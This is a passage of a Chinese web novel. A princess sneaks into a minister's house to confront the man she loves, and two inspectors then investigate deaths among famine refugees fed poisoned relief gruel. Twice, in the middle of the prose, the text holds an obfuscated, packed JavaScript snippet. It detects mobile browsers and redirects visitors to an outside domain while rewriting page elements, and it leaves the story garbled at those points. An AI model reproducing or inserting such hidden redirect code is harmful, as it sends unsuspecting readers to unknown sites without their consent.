他抬头,打了个哈欠,忽然,哈欠卡住了,眼睛也渐渐睁大了。 他看到,在远处的一道墙里,有半个人影正趴在墙檐上,动来动去的,很明显......这人正在翻墙! 只不过翻得有些费劲。 宋景熙诧异之极,一瞬间脑海里闪过无数个想法。盗贼?杀手?监视者?他一边思考着这些可能性,一边快步抄路朝那赌墙过去。这是宋府的外墙,等他走近了,却又无语了。 翻墙的,是个女子。之所以一下就看出来,是因为这女子胳膊上还夹着一件披肩长裙。 而且,这女子,似乎是因为脱力而从墙檐掉了下去,因此没有看见就在她正对面有人走了过来。她很快又伸出两条胳膊扒了上来,很是坚持不懈。 等她再一次攀上来,早已经是累得满头大汗了,刚露出个头,就看见了站在面前的人。 宋景熙也看清她了。 “......翁主?!” “......宋景熙?!” 李宝爱刚喊出来,就再一次脱力掉了下去。 “......” 宋景熙单手捂脸,他怎么想都不会想到,李宝爱居然会在大半夜的,翻他宋府的墙!! 即使被发现了,李宝爱也没有放弃翻墙的心思,在墙那头小声呼唤道:“喂!拉我一把。快点!” 宋景熙没法子,虽不知李宝爱半夜造访是什么目的,但她手都又攀上来了,他还见忙不帮啊?好歹童年玩伴一场,帮吧帮吧!他踩着墙角翻上墙,又从墙角的墙檐处上走到李宝爱那边,伸手捉住李宝爱一只手腕,将其拉了上来。 李宝爱先是坐在墙檐上呼了一口气,然后又跳进墙内,宋景熙也跳了下来,快速道:“翁主慈驾。” 李宝爱道:“嘘!声音小点。真的吓死我了,还好是你...嘶......话说,你家怎么没人巡守啊。” 宋景熙道:“这是宋府,不是王宫,没有宿卫兵。” 李宝爱嘿道:“那太好了,幸好没人巡守,真方便。对了,你哥睡在哪里?” “我哥?”宋景熙一脸诧异:“翁主慈驾半夜驾临我家是为了找我长兄?” 李宝爱催促道:“废话!不然找你啊。快告诉我,他在哪?” “......”宋景熙转身指了指身后不远处一间房。李宝爱大喜,立刻提起裙子就往那边奔去。宋景熙不明白她找宋景元干什么,也快步跟了上去,低声喊道:“翁主!” 李宝爱虽然没停下,但扭头道:“干嘛?!” 宋景熙道:“你找我长兄做什么?他睡了。” 李宝爱道:“有事!嘘嘘嘘,别说了,我着急得很,就是找你哥说点事......对了!你不准偷听!” 宋景熙捂了捂脸:“我从不干偷听的事......”不过话还没说完就被他吞了半截回去,因为他真的偷听过。李宝爱也没在意他说了什么,人已经朝宋景元的屋子快速挪动过去了。 宋景熙站在原地吐了口气,这么一闹,倒感觉心口不闷了。想了想,还是不干偷听的事好了,李宝爱总不会找他长兄麻烦吧? 回房后,他躺在榻上,躺了会,但没闭眼。长兄那边的屋子也没传来什么声响,连说话的声音都听到。 宋景熙缓缓闭上眼,片刻后,突然,耳边听到一声极小的声音,声音说道:“为什么?!” 他又陡然睁眼。 紧接着,又是断断续续的人声传入他耳朵,只听得到几个词眼,听不清说了什么,伴随着这些人声的,还有时断时续的细弱哭泣声。 宋景熙又一下子从榻上坐起来,又披起衣服,往宋景元的院子走去,声音也越来越大,这时已经没有说话声了,只是抽泣的声音。等他走到门前时,便听见宋景元压抑的嗓音道:“......对不起。” 宋景熙:“???”究竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋景熙赶紧道:“虽然我不知道,但我知道,能让女子哭泣的男子,多半没做好事。” 李宝爱拼命点头,一时竟忘了跳下墙,而是就着檐角坐了下来,愤愤地道:“我跟你说,你哥他同我互通书信好几年了......” “等等!”宋景熙惊恐道:“好几年?!” 他居然完全不知道!父亲母亲肯定也不知道! 李宝爱大方地道:“不错!就是好几年。宋景熙,你作为一个男人,你想想,你要是和一个女子互通书信三年多,但你却说不喜欢她,这可能吗?不可能吧!这根本不可能!” 宋景熙道:“确实不太可能。” 李宝爱压低声音控诉道:“我就是这么觉得,如果你哥不喜欢我,怎么会和我写了那么多封信?!虽说不是情笺,却胜似情笺,我就不信你哥他对我毫无感觉,我今日想着来问问他的心意,问他愿不愿意与我成婚,做对神仙眷侣,他却!他却说与我只是好友!没有那些心思。什么??好友?!鬼才信啊!” 宋景熙道:“这......这,成婚??” 李宝爱道:“不然呢?你不知道吗,看来你真的不知道,父王不是要选新世子了吗?我那几个弟弟都没还没成婚,不管谁是世子——我可不关心这个,我关心的是要是他们哪个当上世子了,那就得举行国婚了,到时举行世子嫔拣择,父王必然就会颁布禁婚令,再要解除禁令,那怎么也得有小半年了,我可等不了那么久,想着要赶在禁婚令之前早点和你哥成婚,你哥却拒绝了我!没人心!没人性的家伙,我恨死他了!既然说不喜欢我,为什么还要跟我写信,丧尽天良!你说,你哥是不是丧尽天良?快说!” 宋景熙举手投降道:“是,是是是。” 李宝爱撇嘴道:“......你和你哥都一样,敷衍。真的很讨厌。” 她又流泪了。 “真的......非常,非常非常讨厌。” 宋景熙哎呀一声:“别哭了......真的,我哥简直是丧尽天良,怎么能这么对你,真真是特别讨厌!" 李宝爱抽出一张帕子,擦了擦眼睛,不甘心地道:“你要是个女子就好了。” 宋景熙:“?” “你要是个女子,这时候肯定递我一张帕子,让我擦擦眼泪了。真是很讨厌......你们男人,永远只会口上说说而已。” 李宝爱一边擦眼泪,一边又道:“好像这么说也不对,还是太绝对了点。其实你哥,有时候还挺不错的。你还记不记得小时候在宫里那几年?” 宋景熙点头道:“记得。” 李宝爱叹了一口气:“那个时候,德平姑姑一直只带你进宫,就是因为你和我同日出生么,父王觉得巧,也很喜欢你,我那时候觉得你也挺好玩的,也挺喜欢你,只不过对你有个误解,那时我一直以为你是德平姑姑的独孙。后来才知道,你还有个大你八岁的哥哥。后来有一回,德平姑姑终于带你哥和你一起进宫了。” 宋景熙恍然大悟道:“翁主这么一说,我也想起来了。记得长兄进了一回宫后,你便一直缠着他去了,总和我祖母说‘下回一定要带景元哥哥来!’也因为你总去缠着他,和我一起玩的时间都很少了。难不成......你自那时便喜欢上了我长兄?” 李宝爱努嘴道:“差不多吧!不也是便宜了李澄那小子吗?他总和我抢你,我自打爱去找你哥之后,都懒得和他抢了,便宜他了!我十分记得,那天,我因为什么被母亲教训了一顿,很伤心,就去后园那边荡秋千,也不知怎么荡着荡着就哭了,下了秋千,我藏在树后边偷偷哭,你哥走过来,递给我一张帕子,问我‘怎么啦?哭得这样伤心,来,擦擦眼泪’。那时我们好像才七八岁?你哥十五岁,你根本不知道,你哥当时有多好看,多有气质,竟能迷住小小年纪的我!之后我就一直忘不掉他了。但那时我尚未萌生男女之情,只是觉得见到你哥就高兴,每次你哥进宫,一看到他,我就走不动道了。等过了好几年,我才知道,那就是喜欢!” “喜欢?”宋景熙忽然露出不解的表情:“喜欢一个人是什么感觉?” 李宝爱道:“你不知道?你不会没喜欢过人吧?” 宋景熙没说话。 李宝爱也露出不解的表情:“你居然真的不知道?怎么会呢......好吧,感情这事,总得有人开导的,不像我,还得自己悟......我告诉你,你听好了,喜欢一个人,不止是你看到他就会走不动道,更是你看到他就会感觉自己的心脏在猛跳,就像这样——” 她将两个手掌上下合在一起,快速地有力地拍了许多下,一脸得意道:“就是这样!你会感觉,胸口好像藏了个鼓,鼓槌在你喜欢的人手上,见到你喜欢的人,鼓槌就会砸你的心鼓!这和你见到别人都不一样,就像你见到我不会鼓,我见到你也不会鼓,我只有见到你哥才鼓!” 闻言,宋景熙捂住了自己的胸膛,靠近心脏的地方,确实,心脏在跳,但很平稳,并不剧烈。 李宝爱道:“有没有这种心脏猛跳的经历?” 宋景熙忽然想起,好像是有过,但是,但是...... “别担心!”见他不说话,李宝爱继续道:“这不是唯一的标准。” 宋景熙莫名松了一口气。末了,又觉得奇怪,自己为什么要觉得松了一口气? 李宝爱道:“第二个标准,就是你会期待看见他,却又担心看见他,而且会在意自己在他面前的样子!我打个比方,那时,我每次见到你哥,很想看他的脸,看他的眼睛,但是我一看,我就会脸红,而且连路都走不好——现在不会了。所以那时的我,担心自己的心思被发现,所以只好尽量不去看他——现在我就会光明正大地看。” 宋景熙心里咯噔一下。 “当然了,这也不是唯二的标准,接下来,我要说第三个了,你切记。”李宝爱鼓掌道:“那就是,你会想要了解他!” 宋景熙按在胸口的手忽然握紧了。 “你喜爱一个人,你就会不由自主地想要去去了解他。他的过往,他的经历,他的性格,他的情绪,他的喜好,他的厌恶,他的一切,你都会想要了解。当你喜欢上一个人,那你就会变成一个求知若渴的书生,而那个人就会如同一本厚得要命的书,让你迫切地、急切地、着急地想要去翻阅。并且你越了解他,你越会抓耳挠腮,因为你不会满足,你只会想了解更多!喂!宋景熙?你傻了?说句话啊。” 宋景熙整个人愣成了一块砖。 他结巴道:“我、我我......不知道说什么。” 李宝爱眯了眯眼,长长地哦了一声:“我懂我懂。我看你......分明是有喜欢的人吧!谁啊谁啊,哪家的姑娘?要不要我替你相看相看?哎呀其实是我很好奇啦......” 宋景熙继续结巴道:“不、不用了!”他说完,很是慌张地从墙上跳了下去,而且还崴了一脚,差点摔倒,背对着李宝爱,磕磕绊绊地说道:“翁主,我、我好困,先回去睡、睡觉了,再见!” 李宝爱低声呼唤道:“你真有喜欢的人啊?到底是谁啊!好奇死我了!” 宋景熙已经跑远了。 李宝爱无奈地抬头望了望月亮的方位,嘀咕道:“这天都快亮了,睡个鬼啊。”她瘪瘪嘴,也跳下墙,拍拍手,打算回宫了。 果然还是很讨厌宋景元! 55. 素冠其一 十日后,尚州。 再绕过一座山,尚州邑城就会出现在眼前。一趟行程下来,既不能吃好——日夜啃肉干,也不能睡好——运气好就能投宿,运气不好就只能幕天席地。自出生以来,宋景熙就没出过什么远门,从前去过最远的可能就是最开始江原道那一次,而去尚州远比那一次去江原道要远,所以,在宋景熙吃了好多天干瘪到咬不动的肉干,睡了好多天不安稳的觉之后,终于快到目的地了。 感动。 但就算吃了苦,宋景熙也没诉苦一句,一来他是觉得自己连赶路都要诉苦的话,那也太娇气了,自己要去的尚州还有很多人都饿得吃不上饭;二来,其实是不好意思让韩时元觉得自己娇气。韩时元似乎很快就能接受这种风餐露宿的方式。 一路上,他都很控制地不去在意韩时元,但越是假装不在意,越是不能不在意。韩时元和他说一句话,他都紧张得要命,连说话都不像从前随心所欲了,而是在心中先嚼一嚼,打磨打磨,润色润色,才说出去。不过后面又觉得太奇怪了,加宋景熙之说的话越来越多,还是随心所欲起来了。 ......都怪李宝爱。 胡说太多。 见宋景熙又开始神游,韩时元心中无奈,他不知道是怎么了,自前几日起,宋景熙时不时就会变得心不在焉,骑马跟在他后面时,他有时回头一看,就见宋景一副垂眸沉思的模样,而骑马在前时,宋景熙就会忘记转弯。即便和他说话的时候,也不会看着他,而且神色很凝重。问了,宋景熙却又会转移话题。 他也仔细想了很久,始终没想到有什么可能的原因,于是决定,每当宋景熙开始心不在焉的时候,他就说话。 “绕过这座山,便能到尚州了。” 其实韩时元这话不久前说过一遍,而且说的是“翻过这两座山,便能看见尚州了”,但宋景熙刚从沉思当中抬起头,也就没发觉出韩时元现在说的这句话有点像废话,闷着声音回应道:“......嗯。” 韩时元道:“有一件事,我忘了说。” 宋景熙道:“什么事?” “尚州的牧使,姓沈。” 在庆尚道所有州郡中,受旱灾影响最严重的当属庆州和尚州——今年境况也变好了。其它州郡虽也饿死了人,但情况不如前两年的庆尚两州惨烈,两州大大小小的守令们都受了罚,连各自的长官都被踢走换新人了。 尚州的新长官,也就是新牧使,三年前新上位的。 韩时元继续道:“沈牧使是沈提学的族弟,素日关系甚密。” 宋景熙终于肯抬眼看韩时元了,他略有些诧异道:“这般巧?这样来说,那沈牧使他,岂不是本庭的叔伯?” 韩时元知道他说的沈本庭是谁:“正是。” 宋景熙道:“沈牧使为人如何?” 韩时元道:“成绩一般,风评一般,人也一般。” 宋景熙哦道:“那还真是不一般的一般。” 韩时元道:“先前因赈灾事宜处理不力,尚州众多守令或降职,或撤职,或仗责,或以钱消灾,然而沈牧使并未受到任何惩罚。” 宋景熙道:“那正好,我们这一趟可不就是为监督赈灾事宜而来,借的是监察使之名,若是沈牧使在我们眼皮子底下做得不好,敢做什么徇私枉法的小动作,我们回去便弹劾好了,就算他是本庭的叔伯,也不必留他脸面。” 韩时元笑道:“好。” 尚州邑城,城门处。 两人刚看到邑城城门,便见城墙上和城门下都有一小波人,往他们这边的方向远眺着,一听到他们的马蹄声,上下都开始挥舞起旗帜了。尤为夸张的是,那站在敞开的城门前挥舞双臂率领众人欢呼的,穿着一身蓝红军服的,一看就是尚州牧使,沈牧使! 这阵仗,不知道的,还以为是有朋自远方来,沈牧使不亦乐乎。实际上也是别有用心罢了。宋景熙和韩时元早就料到沈牧使不可能让他们在不打扰到官民的状态下进城,因为既然他们借的是监察使之名,那一般受到监察的邑城就不会对监察使漠不关心,这可是关乎来年仕途的重要考绩啊!怎么能忽视呢? 沈牧使笑脸嘻嘻地迎接两位监察使,心想这礼节是给足了,再琢磨琢磨接下来借什么名头摸摸这两名监察使的心思和习惯,看他们好不好说话,在他们身上用钱好不好使! “两位大人远道而来,真是辛苦了!我呢已经为二位备好了菜肴,就等着二位品尝了......” 韩时元漠然道:“不必。” 宋景熙倒是给沈牧使一点面子,也是看在沈本庭的面上,微笑道:“牧使大人,既然知道我们远道而来,也应当知道我们是为何而来的。奉王命而来,为尚州百姓而来,怎能说是辛苦呢?不辛苦。” 沈牧使呛了一下,心想看来王城那边派来的不是什么好糊弄的主啊。 韩时元道:“施粥点设在何处?” 沈牧使答道:“两位来得早,厨房还在熬煮着。” 宋景熙道:“那便麻烦牧使大人带我们二人去看看粮仓和厨房了。” 一上来,好酒好菜也不吃,就等着去视察啊?今年的监察使比前两年的还严格!沈牧使汗颜道:“那...二位请随我来。” ...... 一轮监察下来,如果要给沈牧使评个级,那就是“通过”!朝廷下发的赈灾任务完成得并不差劲。但鉴于沈牧使早已知道监察使来访的消息,所以只有这一时表现得好也不是没可能,宋景熙和韩时元两人商议一番,本想着去走访走访受灾百姓,但彼时,赈灾的粥已经熬煮好了,一长排一长排的百姓正等着挨日子的口粮,无法,两人便还是先决定看看尚州的施粥做得怎么样。 共三口锅,一字排开,三列队伍。饿得面黄肌瘦的百姓都干巴巴地等着一口粥熬过这一天,从锅口处看去,每条队伍都一眼望不到队伍尾巴。男女老少一个不少,个个也都是蓬头垢面,衣着破烂。一看就知,吃不饱,也穿不暖。 宋景熙嫌施粥的手速慢,队伍后面的人要等很久,便多拿了两个舀勺来,他和韩时元一人一个,一块施粥。 刚开始他还想着关心关心宅民,会问每个灾民打的够不够。在韩时元和一旁的其他小吏欲言又止数次后,宋景熙自己也发觉了还不如不问,一来对于百姓来说官员的关心不如一颗米有价值,赶紧果腹才是要紧事,二来饿坏了的灾民当然只会说不够,他不好意思问了又不给,只好多给点,可这对后面的灾民不公平,且每日施粥都有限额。不如每个人都打一样的分量,不说话就是最好的。 吃了一遭小亏,宋景熙心里给了自己一巴掌,自己还是监察使呢,办事能力真不行。 老老实实闭嘴施粥一会儿后,宋景熙又发现了一个奇怪的事情。他旁边是沈牧使带着人在施粥,没人讲话,沈牧使旁边是一名陌生模样的官吏,却在说话。这官吏相貌正气十足,但疲态很重,虽然疲态很重,却关切地和每位拿着碗的灾民问候,灾民们也大多咧嘴回应,不似宋景熙和沈牧使面前的两条队伍,沉默不言,互相冷漠。并且,就从队伍尾巴上来看,明显那相貌正气的官吏面前排的队伍更长些,长出一大截。 宋景熙问一旁的官吏道:“沈牧使旁边那位施粥的男子是谁?” 官吏道:“大人是说那位?他啊,名字叫做文尚谦,不是咱们尚州的,只是在咱们这地方做官,也不是在尚州城里做官,只是下面一个小小的县监。” 宋景熙道:“既是尚州之下的县监,为何会到尚州来?” 官吏道:“这个嘛......因为他领的那个县本来就没多少人,前些年旱灾最严重的时候,县里大多数人都饿死了,没死的也带着家人往其它地方逃了,有的就逃到尚州来,他干脆就带着县里的百姓来尚州了。不过那时咱们尚州也难过,也是一样饿死很多人,哪有那么多粮食救人。牧使大人本想拒绝,但他竟然到各地去借粮,硬是凑出了能救活他领着的那些人的口粮,牧使大人觉得他还挺有种,就让他带着人留在尚州了。 宋景熙感叹道:“的确有种。”这等好官,居然只是个县监?不能只是个县监,回去之后,一定要以再以监察使的名字,让文尚谦的名字出现在国君面前。他一边这么盘算着,一边很是欣赏地看着文尚谦。 文尚谦原本兢兢业业地施着粥,忽然察觉到有几道视线投在他身上,便朝那边看去,一看一愣,拿没握着舀勺的手轻轻摆了摆,朝他们示意。 宋景熙也是一愣,以为文尚谦在和自己打招呼,便也轻轻摆手示意,却发现身侧的韩时元朝文尚谦点了点头。文尚谦微微一笑,没有多做动作,接着投入施粥。 宋景熙看向韩时元,问道:“他好像是在和你打招呼,你认识他?” 韩时元轻笑一声:“认识。以前在蔚州共事过,是个不错的人。” 宋景熙道:“共事?什么时候共事过?” 韩时元略显犹豫:“......不在汉阳的那六年,我和老师那时在蔚州,遇到过他。” “哦。”又是那六年里的他不知道的事情。宋景熙没表露情绪,继续道:“能让你觉得不错,那看来是很好了。有多不错?” 听韩时元说了了一会,宋景熙听明白了。 文尚谦,蔚州人士,蔚州文氏出身。蔚州文氏是蔚州当地最大的士族,出身名门,文尚谦虽不是直系一脉,父母却也和本家关系甚好,虽非大富大贵,吃穿用度却也不差。按理出身不错,本可接受家族荫蔽,在蔚州城做个有钱有闲的小官,但文尚谦不接受,非要自己考,还真考出了个名堂,在四年前,被朝廷任命为尚州辖下一处县的县监,然而半年之后,旱灾就席卷了半个庆尚道。 后面的事,就和方才的官吏讲得一样了。但官吏有一个地方没讲全,就是文尚谦去各地借粮的事。实际上,那时庆尚道各地都多多少少遭到了旱灾波及,哪里肯借粮给一个小小的县监呢?就算文尚谦保证会还,那也得等多少年才还得清啊?所以文尚谦在借粮碰了很多壁,也没借到多少。最后没法子,只能只身回到蔚州,向父母叔伯借粮。那时蔚州大概是受旱灾影响最小的邑城之一,但因为文尚谦不曾听从家族的安排,非要自己出去单干,所以家中叔伯对他颇有微词,文尚谦也知道自己理亏,大雪天站在族门前,却不认错,出来的族兄族弟有些劝他,有些嘲笑他,他都充耳不闻,终于还是让他借到了粮。 也就在那一年,赈灾的粮食出了点问题。沈牧使和文尚谦都在尚州赈灾,但用的各自的粮食。有十位州民在吃了沈牧使发放的粥食后便上吐下泻,不久后就死亡了,但吃了文尚谦的粮食的州民当中就无人身亡。死了人,还不少,当即便引起了轰动。州民们认为州府是不想再拿粮食供着他们,想毒死他们这些灾民好少些拖累,于是纷纷开始只接受文尚谦的施粥,文尚谦没粮食了,州民们就声称宁愿饿死也不接受被州府毒死,甚至差点引起一场暴动。 听罢,宋景熙感到不解,往年都会有监察使或者曳扇台密使来监督赈灾的,居然还会发生这种事情。他道:“下毒?怎么如此,让人吃了就死?” 韩时元道:“所以为了平息州民怒火,此后几日州府施粥时,都会让施粥官员先吃上一口,再发放给州民。然而还是陆续有州民死亡,持续了大概一周。” 宋景熙道:“也是因为上吐下泻而亡?吃了文尚谦的粥的人就没有病死的?” 韩时元道:“不错。因为此事,原本的尚州牧使被撤了职。” 宋景熙道:“这可太奇怪了,官员吃了没事,灾民吃了却有人有事?是否有人尸检?” 韩时元道:“有,但检验出来并无结果。最后只能归结于是州民身子本就太差,死不死和吃没吃粥没什么关系,是州民自己的问题。此事之后,户曹拨了许多车粮食过来,熬煮过后都让文尚谦来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773804|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发放,州民们吃后依旧无事。” 宋景熙不赞同道:“这也太草率了。那么熬煮又是谁来,还是文尚谦一人吗?” 韩时元道:“并不,熬煮是官府,发放是他。” 宋景熙道:“这就更奇怪了,这次熬煮的不是他了,州民们吃了却又没事了。奇怪...果然奇怪......” 他其实心里倒是想说是不是真的像州民们说的那样,是官府想毒死他们,并且吃死了人,沈牧使居然没有受到任何惩罚,这真的很奇怪。但他看在周边都是官府的人的份上,这话暂时还不太好说出来。好在...现在应该也不会出这种吃死人的事情了。 再者,就从文尚谦这股子不爱听家族的安排,宁愿脱离家族的倔劲来看,宋景熙觉着,这人是和道林叔父有点像的,反正就是让他想起道林叔父了。便道:“文尚谦他......倒是让我想起一个人了......” 韩时元知道他说的是谁,也颔首道:“的确相像。” 宋景熙嗯道:“我想去和他说说话......”还没说完,他已经将舀勺递给其他官吏,往文尚谦那边走去了。他去了,韩时元自然也要跟去。文尚谦一心一意施粥,这会看见有两人朝他走来,还有个是熟人,小小吃了一惊,含笑道:“李大人,好久不见。” 韩时元道:“好久不见。” 宋景熙瞥了韩时元一眼,“李大人”,这是眉寿山后那几年里,他在蔚州用的假姓?和李珘一个姓。 宋景熙不自觉地捏了捏手指,咬了咬下唇。 他不知道的,还很多。 文尚谦这边只有他一人施粥,没有任何人帮忙,这也是很奇怪,像方才宋景熙那一队,除去他和韩时元两人,还有两人在帮忙施粥,尚且有些手忙,那文尚谦一个人负责这么一大队人,还日日都要施粥,不敢想该有多累。果然,仔细看文尚谦的双手,手腕和大拇指处都绑了一块布,缠得很紧。 这位面容三十多岁的男子真真是长得正气浩然,单凭面相来看,就绝绝不是个坏人,宋景熙第一眼就对文尚谦感到很亲切,指指文尚谦缠着布的手,也用亲切地语气问道:“文先生的手......是怎么回事?” 文尚谦竟然露出腼腆的表情,道:“不敢称先生...我这手,只是得了筋痛症而已,不打紧,多谢关心,还请问您贵姓?” 宋景熙道:“免贵姓宋。” 文尚谦道:“你好,宋大人。” 宋景熙道:“不过是一介监察罢了,怎敢称大人。文先生,我方才从这位...呃,李大人口中得知了您的事情,很是令在下钦佩,称您一句文先生不为过。看文先生这边无人帮忙,这不,有我和...李大人了,文先生若是手不方便,交给我们来也可。” 文尚谦似乎很不好意思,但完全没有停下施粥的意思,“其实...也不过是一些小事罢了。我这手不打紧,二位愿意帮忙,文某已经很不胜感激了......” 此时,三人面前一名握着木碗的灾民道:“文大人哪!我看您这手的情况明明就是越来越严重了嘛!还是休息休息吧,让人帮个忙也挺好的,实在不行,咱们大家伙自己也能打粥,是不?” 后面几人纷纷附和:“是啊是啊!文大人,去休息吧!” 不得已,文尚谦只能被迫离岗了。 宋景熙和韩时元接替了他的位置,操劳一阵后,施粥终于结束了。但灾民们大多都没走,而是留在施粥点内,因为到了晚上,他们也就睡在这。看到这些人就直挺挺地躺在地上挨日子,宋景熙忽然就觉得,自己来尚州路上那幕天席地的苦日子真不算什么了,这些灾民才叫真的幕天席地。这样的日子,灾民们过了三年多,天为被,地为床,不幸死了,就埋进“床”里,而且很有可能是和一大堆人一起埋进“床”里。 这就是远离王城的人间。 真是,安得广厦千万间哪。宋景熙默默地站在廊下看着,默默地道:“到了冬季,他们也睡在这吗?” 站在他身旁的韩时元沉默片刻,道:“他们没有别处可去。” 宋景熙叹道:“那他们会被冻死。” 韩时元没说话,这时,从廊后走出一个沈牧使,沈牧使面带笑颜,摇了摇手指道:“非也呀宋大人,到了冬天,官府会给他们每人发个草席子,这草席子一裹,再互相挤在一起,也就不那么冷了,过得艰难,但至少能活下来嘛。” 宋景熙看了沈牧使一眼,没说话。草席子?一裹?说得跟裹尸体一样。多半也有这个用途,冻死了都不用多余处理了,直接就裹着丢野外去了。这么说也不对,草席子对于平民来说也是珍贵的,不可能让平民带着草席子下葬,多半死了,身上的草席子就会被扒下来,人再丢出去。 虽然,这也是没办法的事情。 韩时元道:“官衙能否腾出位置给这些灾民避风雪?” 沈牧使道:“这...在下倒是忘记告诉二位了,衙门里都挤得没地方睡下了,我们这些守令尚且都是挤一挤睡着的。之前也早就下令让邑城内人家尽量收留灾民,给个晚上能睡觉的位置,现下邑城内的民宅都已经挤满了人了,外边这些灾民大多是尚州下面的郡县逃难来的,来得又晚,的确是无处可去,能让他们在城内有躺着的地方就已经很不错了,哪里有更多的位置?连二位都得...都得夜间去城内一家客栈休息......实在是没办法啊。” 韩时元道:“客栈在何处?” 沈牧使道:“二位着急?要是急的话,在下现在就可以带二位去瞧一瞧,就是吃住差了点,还请二位多担待,这也是没办法的事......” 没办法,又是没办法,什么都没办法,什么都改变不了。可是确实就是没办法,监察使又不是救世主,变不出粮食和被窝来。 宋景熙叹了一口气,摆了摆手,沈牧使一顿,识趣地走了。 ...... 56. 素冠其二 宋景熙又在廊下站了很久,秋风瑟瑟的,吹得冷也感觉不到了。他在这站了多久,韩时元也就陪他站了多久。黄昏也渐渐从天际线渲染出来,人群一片寂静。忽然,不远处的一窝人中,有个男子突然“呃”了一声,然后吐了出来。 他这动静闹得大,旁边有个和他挤得近的人不幸被吐了一身,朝他抱怨道:“哎呀!你搞什么鬼啊!!” 男子刚说出一个“我”字,就又吐了出来,但没吐出什么东西,接近干呕。他就这么干呕了数回,人也跌跌撞撞的,还捂着嘴和肚子,接着就跪在了地上。 宋景熙赶紧和韩时元走了过去,还没走近,那男子已经彻底躺在地上不省人事了,嘴边还吐着白沫。 宋景熙震惊道:“医员呢?让医员来看看!” 那边官吏也看到了情况,赶紧去唤医员了。 不多时,医员急匆匆赶了过来,和医员一起来的还有文尚谦。医员还在察看倒地男子的状况,已经有人小声蛐蛐道:“这样子......怎么和之前死人的时候一样啊!” “是啊,很像啊!” “就是说,那会也都是这么死的吧!” 医员检查一番,手抖道:“......死了......果然......和三年前一模一样。” 宋景熙道:“三年前??你的意思是说......” “的确和三年前的死法一模一样。”文尚谦震惊道:“他是......最先吃粥的人之一。遭了。”他抬起头,环视了一圈周围,面色既迷茫又凝重道:“我再等一会...千万不要...千万不要......” 宋景熙和韩时元对视一眼,也决定等等再说。医员抗走了倒地男子的尸体,并道:“我再去检查一番,若再出了什么事请来唤我。” 很快,所有人都按捺不住了,因为情况并没有好转起来,文尚谦祈求千万不要发生的事还是发生了。一个人倒下,两个人,三个人,五个人......都以与第一名男子相同的方式死去,而且,大多是老人。 文尚谦一只手按在一只手的手腕上,两只手都在止不住地颤抖,朝宋景熙和韩时元二人看去,他声音也在颤抖地道:“两位,不好意思,我有件急事,不得不先离开了。还请二位帮忙照看照看......” 他没有说明是什么急事,但显然是有什么理由暂时说不得。宋景熙点了点头,不多追问,道:“好,文先生去吧,我们在这。” 所幸,文尚谦离开之后便没有人再倒下了,一共死了六名灾民,这种结果,可严重可不严重,说严重了那也是死了人,是人命关天的事,说不严重那这六个人放在一年饿死的人的数目里还不算惹人注目,全赖到时沈牧使和监察使们怎么向上交代。沈牧使也是这么对宋景熙和韩时元说的:“监察使大人,这多半是灾民们饿坏肚子了,本来就快不行了,撑不了多久的,看衙门里医员也是那么说的嘛,他们肠胃本来就不行了,吃了粥反而受不了。再说旱灾已经持续三年多了,年年都要饿死不少人,这是很正常的事情。” 这似乎有点推卸责任的意味,但经过医员尸检,的确死去的灾民都是因肠胃的问题而亡,宋景熙也无法从这上面反驳什么,但问道:“年年都会发生这种事情?吃了粥之后便上吐下泻而亡?” 沈牧使道:“呃......这倒也没有,就前年和今年这样过,去年没有。” 那是怎么回事?就挑前年和今年这两年吃死人?宋景熙和韩时元两人都还没问,沈牧使便唉声叹气道:“想必两位已经知道了尚州之前发生过的事情了。我知道两位监察使大人在怀疑在下,但尚州的百姓都是我治下的子民,说白了那性命是和我连在一块的,我既然是做父母官的,又怎会加害于子民呢?这岂不是搬石头砸自己的脚啊。而且这实在是没办法的事情,也请两位别怪在下铁石心肠,早些年在下看到死了人,都是尽心尽力地找位置埋了的,死了家属的,我还会给他们发放些抚恤金。后面钱不够了,粮食不够了,悲剧倒是看够了。大人要是见过活人扒了死人衣服取暖,见过活人盖着死人取暖,一定就能理解在下了。现在这境况,怜悯和同情根本不能拿来当饭吃啊,在下只能尽力让尽量多的人活着,哪能救活所有人呢?再说句不好听的话,这才死了六个人,等过两个月冬天来了,这堆人里还有没有六个活下来的都不能保证——不过这倒是夸张了,但熬不过冬天的人真是很多。” 这话沈牧使每年都要对来尚州的监察使说一遍,他说这些其实是有目的的,也早就已经说习惯了,但指天指地,他这些话的确是发自内心说的。宋景熙也听了进去,他这会认为,沈牧使做官这事儿还是有地方可圈可点的,虽然他敬佩文尚谦的勇气和坚毅,但沈牧使似乎也不是个什么十恶不赦的贼人。 宋景熙沉重地点了点头,他这一点头,沈牧使心道稳了,今年是不会被说坏话了,便道:“唉,在下就不打扰二位了。”说完走了。 夜间,尚州某不知名客栈。 叩叩—— 宋景熙睡得不太安稳,很快就被敲门声吵醒了,他坐起来正想喊醒睡在另一榻上的韩时元,扭头却看见韩时元也已经坐了起来。两人透着月光看各自的眼睛,都没说话,韩时元先起身去开了门。 门外,带着一身冷风的人,不是旁人,正是文尚谦。 宋景熙也站了起来,惊异道:“文先生?” 文尚谦很不好意思地道:“抱歉,深夜前来叨扰二位,还望二位见谅。” 宋景熙道:“不叨扰,不知文先生有何事?” 文尚谦道:“今日白日州民死亡之事,下官发现了一些奇怪的迹象,不知向何人诉说,只好来寻求二位帮助了......” “乐意之至。” 听到两人的回答,文尚谦又是腼腆一笑,“先前宋大人说李大人告诉了下官的事情,那下官就不多加赘述,浪费二位时间了。简而言之,今日之事与前年一模一样,下官怀疑...有人在米仓里下了毒。” 